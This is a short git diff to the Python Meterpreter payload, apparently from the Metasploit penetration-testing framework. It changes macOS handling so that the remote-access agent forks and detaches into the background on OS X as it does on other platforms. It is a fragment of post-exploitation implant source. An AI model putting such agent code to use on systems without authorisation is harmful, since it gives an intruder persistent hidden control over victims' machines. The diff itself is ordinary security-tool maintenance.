diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index fe1dd3fc87..98221836cc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -22,6 +22,7 @@ else: # this MUST be imported for urllib to work on OSX try: import SystemConfiguration as osxsc + osxsc.SCNetworkInterfaceCopyAll() has_osxsc = True except ImportError: has_osxsc = False @@ -749,7 +750,7 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0): +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): try: os.setsid()